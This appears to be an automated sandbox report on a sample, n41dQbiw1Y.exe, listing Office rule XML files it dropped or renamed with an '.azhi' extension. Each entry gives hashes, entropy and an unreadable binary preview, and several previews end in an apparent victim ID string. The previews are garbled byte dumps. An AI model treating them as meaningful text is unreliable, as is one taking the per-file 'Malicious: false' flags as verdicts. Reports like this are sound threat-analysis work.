Preview:	<?xml+.a....%.....?VQV.%8#.6..H.JFX...E:....s...3u:=..;.q<.}...L.Bt...!4X-.q.3.".p...MQH..)...VS..5....%71]7..\|.a..w.....sz.j.4o..O..o6.@.;..&Y...8....!..(q..r.......cJ.hy.".aSm!I....n......q..1:.)..v]k......}..G7..a7s93..C.&....l.L..[.V..#..r..&..f....N.).....O...@.zY......X)...{..AG....B..=\35M..........P..m.K.[$^q......%......>~w...v..6.r......h..Yd.x..z..U....i.....E.`.T.. $...j#}+.D..m0g.B..w......x.....2....;.R..\|.+..B..rU.........lE+.;J.1{...&/.....p.....2........h6(tv...,/r..B.mQ.....(i.G3..&....22.&.-G.}a..[....8./J.5.....>.]..}3...;.S.8.T.^...U.Z....I...6.T.. ......`.....[.Z_........x.7....Z...K.w.'..L.).;..(\|@p.J.4....).6......mH..)...^..Q..3..+.e..>.. .F..ov...H..z.yka.....K.7.z.t...;..<..IV.......f\|`..G..B.sX.O...].}.4...........s..}..}.1..KT]v[.`g..."=..7.t..X..wQ.-.`Kp..FORY...m,.w...n.d$$..?r.m........Y.o....}k....+.:V7....;5G.9.Z@J......~....H......%..q\|4....C9..E...l.v.J_.*.W.q.K......r..f5?,`.EN.-.nSRH$......l.......v%.I@

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.97435642915001
Encrypted:	false
SSDEEP:	96:x1InwH/2CKgm5ErVrOwN+qB+VM7jJcMCxigGsvOv+GgBEUWiIaTStMh4MLJui:x+7pgjt06NJcMCxiWnKqTSt04MLJX
MD5:	B0DB9187AC420AB29092B0ADC3862867
SHA1:	948A654503218A3E21BFC00ED2BB61B103F1756C
SHA-256:	C8BD6D380A3032EFF0306FC9A792AB61FABFA573FF026C0945FD12910E15EBB9
SHA-512:	D76D46FD78B0ED7C0C79E43F706FE47AA79716CDBC291447059AFD139C2F3B3192022230A798CCB4869406BA6BF99AF8E17F5573DE8360E9257979EB76C3B2B5
Malicious:	false
Preview:	<?xmlT....o...:.dr...V.......N>.....d..f..I.B.G../}n....%..M~X.?."....)...&..........]z...7...iR.u....9..M.8.U..r...~b..TwE;...W.......Y.e.}UH/.x..........\.t."...(...sV'..s..HZ..)..WYs`..<.....~.PF..,..r>~..=`>.....\.".e.M..6..~N..5.v~......P...x!&3d..1BI......OC_........F(G.T..K..s..t...-.<AJ.c.U.9.p...R......l:....9....h89..U:&.....,oU.w...sLj....6p.y..Y..{T..d.:.. .....v..;...0.I........9.{.jM.........i...b..........0.......^...O...%:U.\D....z..*.x.u.v4 .q......H..$Z.j[....~..".....!%..J....U...:.~..:.u....a.!.Lc..._I..P..f.8.......K..u.7........6./..K...\|m.......'i...S...o ..x.........J.i.W...DDa...:.CW..a..u...%\7. .Q..VK..rhg.>-.;..F..}..A....k.o.s.].~...f.'..T...q]co.....$....p.%..c.L....,..Z/n0....oL........ ...1[.G......t.H.. x....5.....smx...H.i&..P...m..(.G5......).p._....9.=....to.'.,.....2^rr.&.P.k....o."<..1...+../jc~.A<V..#qv.....vgCb...5bi.h....N.D....S5... \|>.yN..l....t..1..\|.DzY..Lc=.g5)._..m.i......c..,.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.898283317267506
Encrypted:	false
SSDEEP:	48:rpAeMm6pY3zk4nLdkZsMWIFg3ErPSEIUAnsNv9HTD:rpAppY3o4nLs1WIF5DSELAsNv9f
MD5:	28EC574848E07929E5F004C478C3880F
SHA1:	A557474E42932DE4B6F1B9EA4F914AA774DBA163
SHA-256:	4EF9E16F74E4FD2E91EE919E1C069D9FD8F50484C980FEA503372D2FCDBCDE4A
SHA-512:	D7263743E493D1FA50C5BF360ACB43284244A10B53700C165CA1D78021EA60A4C9A49ADDFCA0287B7291980DAD946C8344B9312747CFA5D3F182C63D748810B9
Malicious:	false
Preview:	<?xml..zJ...i<o...c.3dG...o.`..d.d..{...~.c....@.M.?...%..e......8YF....^Q.^S.c.W.!>.'.B..9..A..N.Z..x.8.\$KQ...T...\+....cs..j.d.o...+F+...._2..y..,.c3s$....E1.....Jk...W..v.....9z...........P..t.a7P.L. EA..2.PgR..z.U..J.=.~.Q.....4.M.M....R.s>....aP-%.6....Yv./..n...M......Pz>o..6RBHL.Iu]..7.B@.......!.">..uQ.xP.......b..oM`G~eZ.9...l >.8=NhMi........\..N.....2{...!. ._...(iV:0../f^i3..x..7.p..#u./......s.x..0........./.r._A..;@..0.W.e...(...... ...eL.".....ad.[...2_['...s%..#.P.R...^.+.k>{1["..\|1.:%S./.......`.o_....As.y}C.h\|V/kC.....\.....D.w...z..%e5.".\.S.x.Z..3...r~8..P.P......~hq.x..;..).#3 L..h.].1q>k.8....53.3..@cB.i..3BN.o..9D.>..#.b..2.w..l.u..F....X..j....p....WI=...pQ........gt$.$.o3.Z\..%.J....Ws5."-X...Qh.F:..-.....\|..D....v......n........c..y...>V...qx..ddu.....T..V[...HB..o..XD(.R...s..L....{.........r....b..z%.o.].r....e}g.r.q.(.'.$.%A.q9t.\.`..H.BV_V..V.}..5...+v.b@..\|..H.....d...U....}.....s.C.+.L6.<y!K/.......md.z2.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.7608822179076355
Encrypted:	false
SSDEEP:	24:f5/vo9iYu/q32vCIkomAmWsjSAWYdLVROq3jSUfveEbD:f5o9/uC35DD22NOqT5hD
MD5:	719F02419ABF192F27FF0F17599B7D13
SHA1:	560C20412A4EB023EB70C3862F626AEADCBC52E1
SHA-256:	AB030A1CA72B7E3EB9E9057264E2DA85E522F759ADC87BCFEB0227E2E45E6AFB
SHA-512:	353F2EAB19079A0DCC8AE4EA5C1757FDD51EA7C1C59A43F65428A4BFF30EE334F2792C6BC0B0DFE26DA31130E6AA07911DD6E4D0EA1AFC98531BEB982F898AB4
Malicious:	false
Preview:	<?xmlG...W.V`%.,.7A..c.v* (.J.ueNx.\...Hob..H.S......N\}...HvmX.G..R..\|.d...O.W&C..".aH.s..`f26.E.#.+.@}r.....?..?.,.........&..r...vX@JZ..TA.. .p70P.<.N.....5..r..L.v.<L....f....b/....b..FC.%.T.#...g..(.....;.7{..o"...4Z.\|...~".......@.......;J....j.j.x......G.Vn.._...e:[M1-.0,8A.../....k..S..<..D..SR(..1l//..r2..).......D..w!'....3.X..H..(o^.!.g..'.,..kdx...=T.'..T........1..N6..p...4..d...#...S.).E....df...4.g...+S%5..#<.P...c<]....i.....B......... .rGBFg.b.1.Z..'^.S...rEP.".18+..CQ=.v.s-9.....m^s.qu........r.....;.\~...m.GZ.*..4.a.$IL...m.#..i(..V..mj.}.R.{.0..yc.....0.. ,...\|..B..H.dh..j...t.........\|{a....o..wdM %&\|...N0M...km..04.........!..\|....=.\.U$.g..7~..q...c..:..`..s......=~.....Q..8..S...='.(.i.}cO....u..X..........].c.W..b>.c..e...X...6.8/...m....:]S>={..:..6....K.........s"..".pQ9z.J,. ^....DY..l.B.M<8..kc...T..0.....Z....A..u..8......k...8 J?(..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.925852833202463
Encrypted:	false
SSDEEP:	48:Qe34EudYQlCyEt34o07/91tYYEslXnqmjadgGjYOnr3LjD:QO4H6Qctt34o0ZsjsHuqGjYc
MD5:	EF0607D4DF85455FFFBA0C8BA7D879CC
SHA1:	E35E99A7F57B6BCF0B7C080513B808CD7E57E584
SHA-256:	587B7ABCE4A0595AD177CF192A9AFD6B5E3C1791402DE5E1E6C47335EC433049
SHA-512:	150BE46F9D3766F598BD48C39CF440E8B9BF9FE440FE19CEDB3B9A0C9D17817377E290C85D720C465E5F4A4D38029B3118FC394463A2A9E885E315FF18A1C8BD
Malicious:	false
Preview:	<?xmlm$...as.M.oSl7.O...+....h.Y.../A.....`O.k..+...%.UZ@G.....f...3..0.<gAb...X...x....U.k..LW.f..g.l.........2.z.ReW.....W..>..S..+......JF..q.K. ....j./..}.-.....3.?..2...Jx9u......C.....0...........n....\|..Y....^O._.^.d..X$eMOqC..f.be.r.r....j...C.....F.1.#..M.@c$2.....u`...}..4M..8.I.Q.....D..S......Ka.i7~F.d/...v{/........I.G.x..1X%..aXA....c..[...w....Ac.......g?Xz.7X.xi..H.......-R..2h..~..R.a...X..\..4.XN/.......}.G..s^Ba.nT4.Kt...+..WD.....l..+.O1.("..o.X.sn$..X.I.K.6'.[.d.=Q..HP)^q.G..d..^..#q.BT.i.w...af.N.$o...-..T19...S.&v....E.&n....."%....,J.....Y/..a...X..YY.e...H..3.N..{*.b?]4.q...3#i.J.%D.nv.....[O....eyC.L..%.T..IA.....r...$.F.]k..zo..p..<q.s-wpgj.k....m...MM.......I .B.pY..7B..l.H.O....T.d...e..4U...$....z../)\....V...-.6.....G..5....&."z.O.j..lhj....p.W._....U.a.....+.L..7.....o..X:..S...............AC..dEQ..ep-'....?E.Tf..[.....%.}.a...s.l...o........#.+...R....4..../.dK..V...M.2...3.s..i..;..^...:.L{z{.B)..b.lm......^..@......b..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.9826512563662915
Encrypted:	false
SSDEEP:	192:NSyypiYiZMCbZoVD39U5vvji04509NBVZVLCpYcCTpq/lo+UnD+dz/Obar:0libOVz+Fi0e0R+YcCTEdo+rdzWbar
MD5:	476650AA16C7BC2A6A0993301BAF7CC2
SHA1:	4300439E9B7CE3C42183257ABBE0569B42AAFB44
SHA-256:	D19CB921F0A6C4FE4F12048EFA4BF9015ED71CE136F5782340DE809706B4AB88
SHA-512:	408F785541DE7C906742A56D715973C262F520605D6B6A19972DF4702D42674EE82BA269A57597764A9E181AEFF5B5197A14889B1305225BFB931D2EBC800E01
Malicious:	false
Preview:	<?xml.F..}K....(.9M.?..Si..czD.#.bn`.........CZ.}......C ....~<0Y.r.O.v...H...VW[..Au./.E..L.@}....WV.(...}.n2....i'(......<...."..H.H&.Q..o.....6..n^......W.v.`J$.[......K...`ff.{..i.vm&.R....5....@....@..1...\|..}...j.l.~.p......m/.G.a..{."K....F'../.@.C..,r..Y..K..=V=...1G.zb..S..FC.c7c....../..i.......OI...".....?.....CZ!.K.N...h.L....".K..Y^..Q8L.....dt...Q.....;.G.B..O.......v...MZ...mT?.9...L>>...........9-.VP.).....6.o...1NgE..'...v-...b@:..._.Sg.....\|Z`..G;.x.y,.....\|.....04t.....N.R.......\|.zp..<.>..-.-.....5^..A...6.)J.....w...n.R..pM.....M....n.._.y.a/...F4...).T.......Y...m6.5..j..=...O.......*.(..p..</v.=p.E:.RI%......}8f$U..G...#.F.b......E7'Q.Bu.;...A.p...m.....t,.jb...g.h..)&...o.c....$..5=.J..^..{(..<.h%...4.......B...........#.orq`z.vj...._.....)\l. .n/nu......m..D..u.h...GDa.=?:=...&.7...t....kI..F.w._wPHa...C2z.Y....'..oq...M.K..$L[.3. .........C0q.!#..d[..9S.f......".\|...=.Q....&.yG.C.:W.B....T.J..\|

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.696744601514501
Encrypted:	false
SSDEEP:	12:R8ch6RNpH9T0zq3TJv1yi7+2ILQSxzswwz928VRZ3c7iKS15WcpW/iylolcYYciD:+O65H9T0zqTOWb/zY89MGtfpWmc9bD
MD5:	D577363DE81DEB6014C13781653C8101
SHA1:	A4630AF6E76B26E56A909499AA1502FC6EB3A041
SHA-256:	20C8193262202DA989B3AB99C948487654C80ACE218069B8050B175718742899
SHA-512:	B95E2BA36673689F49C5E7B104269BEAF08006BC7238E85FE3EEE4C1C7F153F71B615E0A86B17640F7F8F5230498E1AD22A1F1A151370B8C27A3E87FA82D8EEA
Malicious:	false
Preview:	<?xml....Q..b~=...m.P..M......D..O..;(.=x..RcB..\...g#.).{F..A.Z'.\Y.&.k.8.Z.(..;...s.$.B..1'.o..4.;......S.._...~..C=Un.....0.d...........%.......,Hv...\|...........W...C.hL...t....\|q.%7...D...in0.....`XJ.........%.~.T.5..4....gj.=E..H....o......rU.}..,...d3~...H....q').-.n...X.D./!_..0.RX#.w.6......U.6...{O...&.{..W&^.H.~...(X!4...%T...G4q.......5.f....s6..n.pE9... .g\|...Q0.5$..y.`9.e.S.VCn..)......\|..o....Tk...r{..n.O.A....#=s...\|.....(Ni...Q..h....H.]{...1..-c.E%....m..._7p..'...-...z..%.P....e....pc.I.^4K.g.b.G-;..,4F...I!N.'.nh...G.....P8.....r+.............I....#.h.....pr.2.f._.76..b:.RFc...}.&.{.........\+v...7.....M.\|7.e..@..c...7&.j...LO...U. ..%...k. g.y..K.rl..cl.K.L../.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.753400005644467
Encrypted:	false
SSDEEP:	12:s1zsAaDymBHhRA68sVG9BHKJ+m3jjIor2DpycYt9TlsYwkIxMgXEF+eU8BSAO1Tg:czsL1BHhRn09BHQx2Dql36MgXEIeU8iK
MD5:	B3DE5D33F14B64AC118781871A1509AE
SHA1:	9A96276573FA20081AB2BC96734F8BF0840B5DD4
SHA-256:	B92210B8FB7C3EB8302F022EAC5A3968C22559358DCF5AEE388660FAA48320D1
SHA-512:	9E4B066EB433385B54C100C8D4E2C7DC92A33E61BAEFF7DC11748003256AAB4D004DF9F877FA0D408C2E37E341C001463C21CFF60FEB647879910A9C653FC7CE
Malicious:	false
Preview:	<?xml.X.....Am.RnM}.g..Y.v....e.+b\wD._.........s..d...\|...U.].A......H.R.Iy...z....I.....oC......~.....u.e..{...j.,.V...Wh...!.vr.......M...Z.0y^.x.k.F&."....4x.....+.. ...}.gL.....W.ai.Ce.G..\b..v..9.&..~.O.D..>.N..qF.....n.F..#.4V.....M...)`...+;.e...D#"S.\|A...T.v{w.6 .?9N_. X...d....%J7.Z@.......P..k`........17`N.%9. e.rf.../.$c.:...[.S.+...2P.\.CB..u..I.".>...$...~..h:..YM"...D.y?.h...9.t.......=.o....dV7..@.P6.ki~..v..2.O.zze6V5....g@.?..P(N,.......G./7.:`{.o?...C..xK...Z...T..`....a.....U.\|..:.7..U....R..<.....Kz..........#Z.#.'.(...0A}.......2...R...n.m.....$......[....qm......(d..I.V0....8../{._.......+.L...h..I.TWGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.882411821440815
Encrypted:	false
SSDEEP:	48:tw5NHZyUJU2HsYT4MKFHy3OFCEIdXcmM7wAORaoD:t+tMYYYQJIpM7wAL0
MD5:	5C44E8379C3B8EEDF3607FC6BC6E690D
SHA1:	23C5E78C004F48B52177B90229A1EFDA9582E945
SHA-256:	DA1B31316C72F3B19B24F3FA7AB0B6D83CB94E1C0D264F782BFBC07762ADAD17
SHA-512:	DB96B8161BAE2EAFEA2698AFAACE4FF25B8B5C708ADC61703524E367571CDC4557AB6DB24407A0D991E68F42B648BA15F250C32511AE6EDD8C79453BC88C7477
Malicious:	false
Preview:	<?xml8.z6.4T...^....uC.......z..E...'.....t.o0..l..N.....rr..[.M.6..".3{.P.e.W.r.0.....3....`pr.o2.........M..b/....].6.......kk5. sl2.>..4.Xt.....[.0..n&D.x4w.ky.s6....'.[.K=.2.@8._"{oq..........ri=....._..F4..-....W....5I........#3..V.(..7lf..e..zV3...C.t^..b.z.c.m.P..A.G.Z.g._...r4...J.&v..h.f...d....N_..C zG../.>..&.y..}.Y.9..}[em!...K... 40..1.#A...P..<?_.....>.`..N...La... ."..}....B.Y......e...uC....N...Z.M..UW...u6,}.......%.e..8.+....xK.p.........}..?Y_..#.2.#\|.i.-:K.E1E.......A....(......B..c.u...e..&..mj...B.Z......$W.:..w.>.0`.?..u........m...,c...P.....Q.y(.f".C.oe..Uy.-..g8~.r..e...J..o.......#.ig~o\|......!.^..&#Q3.l...N.:.uJw...$..X.tSB...%.8.[......t..D.......@HK../.. ....@..s...w.........<1..2.`..?.(gm...,...D.H+..[..s.}....7..[dEh.W.I...I<>u.%?..ok`Tc.C.t..X..f\|.....8..P..x......+.z..r=....$uX...F.5..p....."......L.g..LsrFW....<<.%.e^.0..R..(..9.).(.4.........<q...*.pT.W.1A,.."...".SoseJ.%4./..^...qK.M.@..X.M:Z.....m+S._..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.795759317162468
Encrypted:	false
SSDEEP:	24:0EvPkBx7fQFelbTWTBigxwAeDaTZEW02NdBKpXY7bD:0EvPkv7IFIgxwLa6V2/BKC/D
MD5:	3E08BE46B565067E034C33734B407300
SHA1:	DF79A98C0C13E022AC157EA09E38C1DF88505D6D
SHA-256:	2D910C7E25FE9797EEB01C2C1DA5B2C026D42C1A4D6B76E4197E361CDD810445
SHA-512:	5D4574544F3E01E6FD4E7ADAD1B7F000FC03EF618B7EDE277499AA639CEF5008F684D13647E7A158DDF9C94B9F703689AD57CABA9B4DD739F709EC08685CC309
Malicious:	false
Preview:	<?xml..e....z.R(g.'....&x....HZ.^\|#+......$.;........hl6}...R...D..k<......].U].{/.y...N.$.F.....o....?.a.3.....ym.._7 .../X.D.wZ..v.N.t?.....4..l...x{)h.z......U.!aZ[F.].t).n.3.\..r.=....)J....BK.(V..1.e...@Yj..\[....HBP.S.6n.l` N.......T.{.C.....g.<x....V'I........Y....(...a....qX....8 .3..........#%{.0..qsr.;I.2.<... ,,.E7h.,+.ioD."........'..9.E...n...$.UJ.k..Q.....^..: pi...pu...$...E.....i.o..A....W.i..3.`.o(.9.,.v.nG..r._.iy......:....Q.,.&Z.p....8.r....r/..x...@:.}..Hg.....j..K'.f...[.r....J...jN<P2 .X.~.4<K<.YU.'..".7F.C.9^.m.\vW..&........)...^....../...vf...R..O..\|..6..\e.H.ZP......3..~.........BH<.......U.(.]L>........0.b.reO...G...Ql..$..,..<......G.P.h.;....v......72#.6.o.J..mu...,...Rq......L.\(..l.....9}..\..%.w{...8Y.Z.t5..yLv-....+..h@p..K7GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.847450381256997
Encrypted:	false
SSDEEP:	24:sBGq79nAaNqfrf2TJygwalpBVrN+C/+civzUT4X/FnU32VuPd3bD:iH79nAaEfMJd3/rN+Vlv9PFnUpD
MD5:	274473204F8B03E2115F60630B886B37
SHA1:	69F71B18AF6178FE5F1488AE51739F7B739F96DF
SHA-256:	E8AD5233CF9B535A776DEE93B850356EA3466DC8CEAA2D7A3C97E62BCBEFF65F
SHA-512:	97E66E104A9FE1495122865E31A1E4B9701044DB3DFFDC79B15E1AB042D1F468A3B0C17DCE5969C7B929613BE17F0F60E0AE24999CA9767CA55844BBC91DD25A
Malicious:	false
Preview:	<?xml...............j5D.o5...6{.]=>e}.5S.zL..s........9../u..>5..7^.)C........r3..n...q.e)......%. V......e.'jnP.O.L..=TyO..l..uB..G..9{....D.&.R\f@..c..C"...."..j...2..L....Nk.5......#.^........q..KTI..e......1..B...`h.,F".\...V.3...CC..:.Z...E.e...)i.+..@.b......@...L.P....5,,.2.\.u._.7b.o.6..rrj.is.[.6.F..\|o....H.......J.A........7..j...jtX.g.^....\|..x..pwnD....u.....W.Y.5....4....L.m....C..R.$K..OS......}......J[>..........$. bn.Z.=..=....y..z[...xO.u.7w.....X%.q..[........+....C.Iw..$...TK1aHA..t,..h.3..8x...n..Q.$.}2..2...o.5Dv..rV..kp..N.. .f....z.#.....Q&p.4..KP)..'.N..v...ch..d]>....N.v/._..+H..h..A.P`.}.1.....^r.V...g.,w]...V..X.....5......'T.8.....4...;%uT.B!S-!mt._.d=.0..8(...hSF4/...J.o......e.4....4K.g..&!n..v.....>.e.;..s.+m......_.._ ....s-..%...X.D`.q...n.....O._b...\|9.06.;./..?AlJz.vF.?.~..3......G..'M.......o6gV...,..4X..9.0=..'O...;.2.N_..'.CV.].9........6.q#u\4.le...X..0P.K.uFLz..D.w.(.dN.8Mc.ld.....mU.-....lsY.D

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.836110030863364
Encrypted:	false
SSDEEP:	24:gbhkL6GvvS2D7Gs6IjjQLco7iNY5P/fNImn7i5W3G+/kvcwGEnbD:gbhgjvR7GsLjQoo7iNw/fT76W3b/kvcG
MD5:	A9221EC8C3F76BEDF6176715632D887B
SHA1:	C2C9D80C2AA6B5EA1CC5F501ED49FAE75550B0C9
SHA-256:	74616BB42838FBABFF804A71DF9EA40E8041A8FE8604E24E1B4F8B4C57C7DE20
SHA-512:	1A04BA12523A9C17ECD89C074965C0C54916CF3C994B3CD8E83BD10247B37C5686D4E43BAEFDC958E604C718C60DC9252C416DFD20B6229C770E1BE2DADE6955
Malicious:	false
Preview:	<?xml...l.."...W..<...l.trrN.X...VT..z.]....^....n...d....m.@....A.#j..=....4..C.Y.?..e......F.2.............x..5L.....A.....7....W(.~.../. .M?..g..-.Z..o#{.2./i&z&[0....d...j.;.. ....ZsD4A..'.....I3!.c=..,Uv...1.......c.....zGHH......G.@...N......A..l..m....u........<x..V.{9....X..\...yG...+{O..nb.Nq.'..P.y.v..jK..P...........K.f.<..p.]..CA.t....e..T.W....Ym.=Xr...S..L.B..T...u...7.8.)6.).~..0..g..Mq.s.Oe.%.....)Q.2.......3....O.........p.V.)..8...2...O.^.....%\|0...\..9S..`.i.A.....\..I...Y..cX{.}.. .0..r.....\.n...0..w\........]..)....v.7...r.+.]......]. ..x.j.9....u.X..fUR.....S...a. ......wt...r.XT.t3..1..\|!..(h.. ...n..`..e...#_J......7b.se...q@..o.g(e7...Gf.9....t..\..T.5=...'..E.";....!J. tA+Q.....C.y....6..2^.)r..,.A.p...(]+'.....zXc.._.<E..% ../.{..@g.....F.S0...?.......P.8.!.sWK..Ok...B.n..Md........E....\O.0..ma.o. L<3....-...p.Y.b.d.\e(Ya.......L./.e...n...hS...G..{.-M..<C...7.........x.6.4.u[Yr.6>nz...`.E..F...^..LZHH}]A

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.975298337373549
Encrypted:	false
SSDEEP:	192:oUq/DcCfFCg4dtyG/toOap9AvhtcN2hDGha:WD1V4vFbafAvLckwa
MD5:	2359885CB1A77E795C61515FD2691E3E
SHA1:	B724D51A723751AAA5663C9E16CF01C901FD441C
SHA-256:	37CECCE8ADE4A690CE543EE8F0D9BBBCB92A19BBACB8164B60B7F89F4F795FB3
SHA-512:	D77D6488629AD951D693F34FC8244E6598F5A84DE3FC286A8D79D1845CFCB50F880D4C1E85850BE8B4E1862C436521D18E3A20A64B16B199F28F05790A853461
Malicious:	false
Preview:	<?xml .8. ..x..&M..w.8......2;..3.A. _4...7.6q..JW...H..`.Y..c.A^....l..8\w..f....s;.S'.G..2.....s....542......"j........Q.f.......6!u..t.....T..V..04&.,..<.#....a...S.U.b.fak.Z...5....ID\|...`....!..)qsT..yu.]7.].. ....'..yi.sip..o.1.[.Q#.o..V.._K......w...K....V.......l3>.'.....?..Q...Zi....^...f.\..T$..>:'xx...J....o1.....".]V"P5v...D...f..Z."..C.+.7[a.>....H<..bO. Xw?.}.X...dE.........{..9.p..LQ.j.6..d..t.q......'{.W.Y..x!.jD.EDi...UPn.]B.k%...M......'.LP/.........4.).,..cY.E....c.5;.XL.$.VVm.>.w..q..u?..u.>'8a....^..5.....<uS.8.H...{....h...@.%. O}..L.8....=z..b..I.0.-rD.#..tt.px.H..W.^.cDn...2.F....WY..%..8yIO..g...6$.;.I.........~..p..3..-..t.K'H-a`.n..P...p....r......D....3...@6.[..R...\|3...Z.........6.^.... .z.S...c...4Av.../A....]........3&.R.w..xIM..k..Z.6..;.)..O .W4....eMAg<.1......E........L&.]..3....gQq%........7.....w..+...'..27V..M......LR.@..p..I.E.Z...Pw.B....b.?......R..:.>!.....t.D.\|.CYmS.T...0..r..j.O...+.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.742041647039914
Encrypted:	false
SSDEEP:	12:nsUneQ/x+qyH9sKp05paMqCyIBh9YMFTCHZa9s9AvHh78loAhUT4e4IZKKYcii9a:ZO5p05E8nh/FTCd9EB7WoAhUTeHvbD
MD5:	631F77543168E0D0A38775D7C6B52506
SHA1:	13EFB9960E9B4EDA224AEE0792F0DB1B2050833E
SHA-256:	BA51A25F082E67955782D3BB756333A688D2C1FD06BEEDF62460DF8F9312F5D0
SHA-512:	A7851384601C5524E59710D0480C6D483A94030DA6FAE491A7F9677B4C111648418953D489E8D7DF657179206B47B352B0A083624DCF04292C5DDA0A1329D4C3
Malicious:	false
Preview:	<?xml6)0.d...%.Ew..}..]`..y...}..M.G. '.-......eI.@.......\|..".mh>K...Ne......hh...LQ`.#..[.B.....E!..iS.#0.?w...`\.....H.\R.~...........$..f..d..Ae..~%.l..@_[.......VpI.....l..n..$.~.Q..h...j.....(.{....i.-fH......UD.1.}.9..H..e.e....6!..;^.`Z.......F..nI8....[...6.......U..nAl.B.~J"vK..........P..YN.c ZW..4..\|wu..........x../......Ysq.@$QQX.B}...N....."_.....(....s3..K-.0.....p.p...{>..)......n...rBS...:...m...SF..v%...........dx.4.2.....4..a.~..I.....n....:...Xs..Jc..X~E.o.._..m...=...EMF....f..w...Z~9..a.b.t...^5<.......)...E.B.J..y..813d.r...;<....s..b......~....M5u3.".V.n..jL.B._s.O8.S..L.C.#.1*.y-....L\q...........6_v.a.(.g...+.G.U4..I.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.859993488621358
Encrypted:	false
SSDEEP:	24:MagWROuz6l0Uy/Jy7KBFCDtJoTDslI8DAGl43tqGGFH+A3D5NSuK7WbD:PgcOuOliJFBFCDtcslvAg4MGGFh3VqID
MD5:	6BD81848AB48EDC9A57AEA4518ADB782
SHA1:	1FC26CDB180130E399E48B8D93A1ABF713150F18
SHA-256:	757DE29786475DB41447ACB7A33BF96580797EA02E67D757D9216247A538550B
SHA-512:	DF2BE14FF85662885F5404683F0AAF3565D6CF1029722BFB83596CF3F14688310ABB0EC44BBE0C0B75E0B14A9C377530BC13B8ACFDA9787002CD76F45D6F1C5E
Malicious:	false
